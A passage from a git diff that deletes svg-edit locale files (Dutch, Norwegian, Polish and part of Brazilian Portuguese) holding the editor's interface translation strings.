-		"line_y2": "Verander eind Y coordinaat van de lijn",
-		"rect_height": "Verander hoogte rechthoek",
-		"rect_width": "Verander breedte rechthoek",
-		"corner_radius": "Verander hoekradius rechthoek",
-		"image_width": "Verander breedte afbeelding",
-		"image_height": "Verander hoogte afbeelding",
-		"image_url": "Verander URL",
-		"node_x": "Verander X coordinaat knooppunt",
-		"node_y": "Verander Y coordinaat knooppunt",
-		"seg_type": "Verander segment type",
-		"straight_segments": "Recht",
-		"curve_segments": "Gebogen",
-		"text_contents": "Wijzig tekst",
-		"font_family": "Verander lettertype",
-		"font_size": "Verander lettertype grootte",
-		"bold": "Vet",
-		"italic": "Cursief"
-	},
-	tools: { 
-		"main_menu": "Hoofdmenu",
-		"bkgnd_color_opac": "Verander achtergrond kleur/doorzichtigheid",
-		"connector_no_arrow": "Geen pijl",
-		"fitToContent": "Pas om inhoud",
-		"fit_to_all": "Pas om alle inhoud",
-		"fit_to_canvas": "Pas om canvas",
-		"fit_to_layer_content": "Pas om laag inhoud",
-		"fit_to_sel": "Pas om selectie",
-		"align_relative_to": "Uitlijnen relatief ten opzichte van ...",
-		"relativeTo": "Relatief ten opzichte van:",
-		"Pagina": "Pagina",
-		"largest_object": "Grootste object",
-		"selected_objects": "Geselecteerde objecten",
-		"smallest_object": "Kleinste object",
-		"new_doc": "Nieuwe afbeelding",
-		"open_doc": "Open afbeelding",
-		"export_png": "Exporteer als PNG",
-		"save_doc": "Afbeelding opslaan",
-		"import_doc": "Importeer SVG",
-		"align_to_page": "Lijn element uit relatief ten opzichte van de pagina",
-		"align_bottom": "Onder uitlijnen",
-		"align_center": "Centreren",
-		"align_left": "Links uitlijnen",
-		"align_middle": "Midden uitlijnen",
-		"align_right": "Rechts uitlijnen",
-		"align_top": "Boven uitlijnen",
-		"mode_select": "Selecteer",
-		"mode_fhpath": "Potlood",
-		"mode_line": "Lijn",
-		"mode_connect": "Verbind twee objecten",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Vrije stijl rechthoek",
-		"mode_ellipse": "Ellips",
-		"mode_circle": "Cirkel",
-		"mode_fhellipse": "Vrije stijl ellips",
-		"mode_path": "Pad",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Tekst",
-		"mode_image": "Afbeelding",
-		"mode_zoom": "Zoom",
-		"mode_eyedropper": "Kleuren kopieer gereedschap",
-		"no_embed": "Let op: Dit plaatje kan niet worden geintegreerd (embeded). Het hangt af van dit pad om te worden afgebeeld.",
-		"undo": "Ongedaan maken",
-		"redo": "Opnieuw doen",
-		"tool_source": "Bewerk bron",
-		"wireframe_mode": "Draadmodel",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Groepeer elementen",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Zet om naar pad",
-		"reorient_path": "Herorienteer pad",
-		"ungroup": "Groepering opheffen",
-		"docprops": "Documenteigenschappen",
-		"imagelib": "Image Library",
-		"move_bottom": "Naar achtergrond",
-		"move_top": "Naar voorgrond",
-		"node_clone": "Kloon knooppunt",
-		"node_delete": "Delete knooppunt",
-		"node_link": "Koppel controle punten",
-		"add_subpath": "Subpad toevoegen",
-		"openclose_path": "Open/sluit subpad",
-		"source_save": "Veranderingen toepassen",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Laag",
-		"layers": "Layers",
-		"del": "Delete laag",
-		"move_down": "Beweeg laag omlaag",
-		"new": "Nieuwe laag",
-		"rename": "Hernoem laag",
-		"move_up": "Beweeg laag omhoog",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Verplaats elementen naar:",
-		"move_selected": "Verplaats geselecteerde elementen naar andere laag"
-	},
-	config: {
-		"image_props": "Afbeeldingeigenschappen",
-		"doc_title": "Titel",
-		"doc_dims": "Canvas afmetingen",
-		"included_images": "Ingesloten afbeeldingen",
-		"image_opt_embed": "Toevoegen data (lokale bestanden)",
-		"image_opt_ref": "Gebruik bestand referentie",
-		"editor_prefs": "Editor eigenschappen",
-		"icon_size": "Icoon grootte",
-		"language": "Taal",
-		"background": "Editor achtergrond",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Let op: De achtergrond wordt niet opgeslagen met de afbeelding.",
-		"icon_large": "Groot",
-		"icon_medium": "Gemiddeld",
-		"icon_small": "Klein",
-		"icon_xlarge": "Extra groot",
-		"select_predefined": "Kies voorgedefinieerd:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Verkeerde waarde gegeven",
-		"noContentToFitTo":"Geen inhoud om omheen te passen",
-		"dupeLayerName":"Er is al een laag met die naam!",
-		"enterUniqueLayerName":"Geef een unieke laag naam",
-		"enterNewLayerName":"Geef een nieuwe laag naam",
-		"layerHasThatName":"Laag heeft al die naam",
-		"QmoveElemsToLayer":"Verplaats geselecteerde elementen naar laag '%s'?",
-		"QwantToClear":"Wil je de afbeelding leeg maken?\nDit zal ook de ongedaan maak geschiedenis wissen!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"Er waren analyse fouten in je SVG bron.\nTeruggaan naar de originele SVG bron?",
-		"QignoreSourceChanges":"Veranderingen in de SVG bron negeren?",
-		"featNotSupported":"Functie wordt niet ondersteund",
-		"enterNewImgURL":"Geef de nieuwe afbeelding URL",
-		"defsFailOnSave": "Let op: Vanwege een fout in je browser, kan dit plaatje verkeerd verschijnen (missende hoeken en/of elementen). Het zal goed verschijnen zodra het plaatje echt wordt opgeslagen.",
-		"loadingImage":"Laden van het plaatje, even geduld aub...",
-		"saveFromBrowser": "Kies \"Save As...\" in je browser om dit plaatje op te slaan als een %s bestand.",
-		"noteTheseIssues": "Let op de volgende problemen: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.no.js b/public/svg-edit/editor/locale/lang.no.js
deleted file mode 100644
index c1f5cf04..00000000
--- a/public/svg-edit/editor/locale/lang.no.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "no",
-	dir : "ltr",
-	common: {
-		"ok": "Lagre",
-		"cancel": "Avbryt",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Click å endre fyllfarge, shift-klikke for å endre slag farge",
-		"zoom_level": "Endre zoomnivå",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Endre fyllfarge",
-		"stroke_color": "Endre stroke color",
-		"stroke_style": "Endre stroke dash stil",
-		"stroke_width": "Endre stroke width",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Endre rotasjonsvinkelen",
-		"blur": "Change gaussian blur value",
-		"opacity": "Endre valgte elementet opasitet",
-		"circle_cx": "Endre sirkelens CX koordinatsystem",
-		"circle_cy": "Endre sirkelens koordinere cy",
-		"circle_r": "Endre sirkelens radius",
-		"ellipse_cx": "Endre ellipse&#39;s CX koordinatsystem",
-		"ellipse_cy": "Endre ellipse&#39;s koordinere cy",
-		"ellipse_rx": "Endre ellipse&#39;s x radius",
-		"ellipse_ry": "Endre ellipse&#39;s y radius",
-		"line_x1": "Endre linje begynner x koordinat",
-		"line_x2": "Endre linje&#39;s ending x koordinat",
-		"line_y1": "Endre linje begynner y koordinat",
-		"line_y2": "Endre linje&#39;s ending y koordinat",
-		"rect_height": "Endre rektangel høyde",
-		"rect_width": "Endre rektangel bredde",
-		"corner_radius": "Endre rektangel Corner Radius",
-		"image_width": "Endre bilde bredde",
-		"image_height": "Endre bilde høyde",
-		"image_url": "Endre URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Endre tekst innholdet",
-		"font_family": "Change Font Family",
-		"font_size": "Endre skriftstørrelse",
-		"bold": "Fet tekst",
-		"italic": "Kursiv tekst"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Endre bakgrunnsfarge / opacity",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Passer til alt innhold",
-		"fit_to_canvas": "Tilpass til lerret",
-		"fit_to_layer_content": "Fit to lag innhold",
-		"fit_to_sel": "Tilpass til valg",
-		"align_relative_to": "Juster i forhold til ...",
-		"relativeTo": "i forhold til:",
-		"side": "side",
-		"largest_object": "største objekt",
-		"selected_objects": "velges objekter",
-		"smallest_object": "minste objekt",
-		"new_doc": "New Image",
-		"open_doc": "Åpne Image",
-		"export_png": "Export as PNG",
-		"save_doc": "Lagre bilde",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Align Bottom",
-		"align_center": "Midtstill",
-		"align_left": "Venstrejuster",
-		"align_middle": "Rett Middle",
-		"align_right": "Høyrejuster",
-		"align_top": "Align Top",
-		"mode_select": "Select Tool",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Linjeverktøy",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand rektangel",
-		"mode_ellipse": "Ellipse",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Text Tool",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Angre",
-		"redo": "Redo",
-		"tool_source": "Edit Source",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Gruppe Elements",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Dele opp Elements",
-		"docprops": "Document Properties",
-		"imagelib": "Image Library",
-		"move_bottom": "Move to Bottom",
-		"move_top": "Flytt til toppen",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Lagre",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Slett laget",
-		"move_down": "Flytt laget ned",
-		"new": "Nytt lag",
-		"rename": "Rename Layer",
-		"move_up": "Flytt Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Velg forhåndsdefinerte:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.pl.js b/public/svg-edit/editor/locale/lang.pl.js
deleted file mode 100644
index 00b42661..00000000
--- a/public/svg-edit/editor/locale/lang.pl.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "pl",
-	dir : "ltr",
-	common: {
-		"ok": "Zapisać",
-		"cancel": "Anuluj",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Kliknij, aby zmienić kolor wypełnienia, shift kliknij, aby zmienić kolor skok",
-		"zoom_level": "Zmiana poziomu powiększenia",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Zmiana koloru wypełnienia",
-		"stroke_color": "Zmień kolor skok",
-		"stroke_style": "Zmień styl skoku kreska",
-		"stroke_width": "Szerokość skoku Zmień",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Zmiana kąta obrotu",
-		"blur": "Change gaussian blur value",
-		"opacity": "Zmiana stron przezroczystość elementu",
-		"circle_cx": "Zmiana koła CX koordynacji",
-		"circle_cy": "Koła Zmian cy koordynacji",
-		"circle_r": "Zmiana koła promienia",
-		"ellipse_cx": "Zmiana elipsy CX koordynacji",
-		"ellipse_cy": "Elipsy Zmian cy koordynacji",
-		"ellipse_rx": "Elipsy Zmian x promieniu",
-		"ellipse_ry": "Elipsy Zmian y promieniu",
-		"line_x1": "Zmian od linii współrzędna x",
-		"line_x2": "Zgodnie Zmian kończące współrzędna x",
-		"line_y1": "Line y Zmian od współrzędnych",
-		"line_y2": "Zgodnie Zmian kończące y koordynowanie",
-		"rect_height": "Zmiana wysokości prostokąta",
-		"rect_width": "Szerokość prostokąta Zmień",
-		"corner_radius": "Zmiana prostokąt Corner Radius",
-		"image_width": "Zmiana image width",
-		"image_height": "Wysokość obrazu zmian",
-		"image_url": "Zmień adres URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Zmiana treści tekstu",
-		"font_family": "Zmiana czcionki Rodzina",
-		"font_size": "Zmień rozmiar czcionki",
-		"bold": "Bold Text",
-		"italic": "Kursywa"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Zmień kolor tła / opacity",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Dopasuj do treści",
-		"fit_to_all": "Dopasuj do wszystkich treści",
-		"fit_to_canvas": "Dopasuj do płótnie",
-		"fit_to_layer_content": "Dopasuj do zawartości warstwy",
-		"fit_to_sel": "Dopasuj do wyboru",
-		"align_relative_to": "Dostosowanie w stosunku do ...",
-		"relativeTo": "w stosunku do:",
-		"strona": "strona",
-		"largest_object": "największego obiektu",
-		"selected_objects": "wybranych obiektów",
-		"smallest_object": "Najmniejszy obiekt",
-		"new_doc": "New Image",
-		"open_doc": "Otwórz obraz",
-		"export_png": "Export as PNG",
-		"save_doc": "Zapisz obraz",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Wyrównaj do dołu",
-		"align_center": "Wyśrodkuj",
-		"align_left": "Wyrównaj do lewej",
-		"align_middle": "Align Middle",
-		"align_right": "Wyrównaj do prawej",
-		"align_top": "Wyrównaj do góry",
-		"mode_select": "Wybierz narzędzie",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Wolnej ręki prostokąt",
-		"mode_ellipse": "Elipsa",
-		"mode_circle": "Koło",
-		"mode_fhellipse": "Wolny-Hand Elipsa",
-		"mode_path": "Poli Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Tekst Tool",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Cofnij",
-		"redo": "Redo",
-		"tool_source": "Edycja źródła",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Elementy Grupa",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Elementy Rozgrupuj",
-		"docprops": "Właściwości dokumentu",
-		"imagelib": "Image Library",
-		"move_bottom": "Przenieś do dołu",
-		"move_top": "Przenieś do góry",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Zapisać",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Usuwanie warstwy",
-		"move_down": "Przesuń warstwę w dół",
-		"new": "Nowa warstwa",
-		"rename": "Zmiana nazwy warstwy",
-		"move_up": "Move Up Layer",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Wybierz predefiniowanych:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.pt-BR.js b/public/svg-edit/editor/locale/lang.pt-BR.js
deleted file mode 100644
index d03dff87..00000000
--- a/public/svg-edit/editor/locale/lang.pt-BR.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "pt-BR",
-	dir : "ltr",
-	common: {
-		"ok": "OK",
-		"cancel": "Cancel",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Click to change fill color, shift-click to change stroke color",
-		"zoom_level": "Change zoom level",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Change fill color",
-		"stroke_color": "Change stroke color",
-		"stroke_style": "Change stroke dash style",
-		"stroke_width": "Change stroke width by 1, shift-click to change by 0.1",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Change rotation angle",
-		"blur": "Change gaussian blur value",
-		"opacity": "Change selected item opacity",
-		"circle_cx": "Change circle's cx coordinate",
-		"circle_cy": "Change circle's cy coordinate",
-		"circle_r": "Change circle's radius",
-		"ellipse_cx": "Change ellipse's cx coordinate",
-		"ellipse_cy": "Change ellipse's cy coordinate",
-		"ellipse_rx": "Change ellipse's x radius",
-		"ellipse_ry": "Change ellipse's y radius",
-		"line_x1": "Change line's starting x coordinate",
-		"line_x2": "Change line's ending x coordinate",
-		"line_y1": "Change line's starting y coordinate",
-		"line_y2": "Change line's ending y coordinate",
-		"rect_height": "Change rectangle height",
-		"rect_width": "Change rectangle width",
-		"corner_radius": "Change Rectangle Corner Radius",
-		"image_width": "Change image width",
-		"image_height": "Change image height",
-		"image_url": "Change URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Change text contents",
-		"font_family": "Change Font Family",
-		"font_size": "Change Font Size",
-		"bold": "Bold Text",
-		"italic": "Italic Text"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Change background color/opacity",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Fit to all content",
-		"fit_to_canvas": "Fit to canvas",
-		"fit_to_layer_content": "Fit to layer content",
-		"fit_to_sel": "Fit to selection",
-		"align_relative_to": "Align relative to ...",
-		"relativeTo": "relative to:",
-		"page": "page",
-		"largest_object": "largest object",
-		"selected_objects": "selected objects",
-		"smallest_object": "smallest object",
-		"new_doc": "New Image",
-		"open_doc": "Open Image",
-		"export_png": "Export as PNG",
-		"save_doc": "Save Image",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Align Bottom",
-		"align_center": "Align Center",
-		"align_left": "Align Left",
-		"align_middle": "Align Middle",
-		"align_right": "Align Right",
-		"align_top": "Align Top",
-		"mode_select": "Select Tool",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand Rectangle",
-		"mode_ellipse": "Ellipse",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Text Tool",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Undo",
-		"redo": "Redo",
-		"tool_source": "Edit Source",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Group Elements",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Ungroup Elements",
-		"docprops": "Document Properties",
-		"imagelib": "Image Library",
-		"move_bottom": "Move to Bottom",
-		"move_top": "Move to Top",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Apply Changes",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
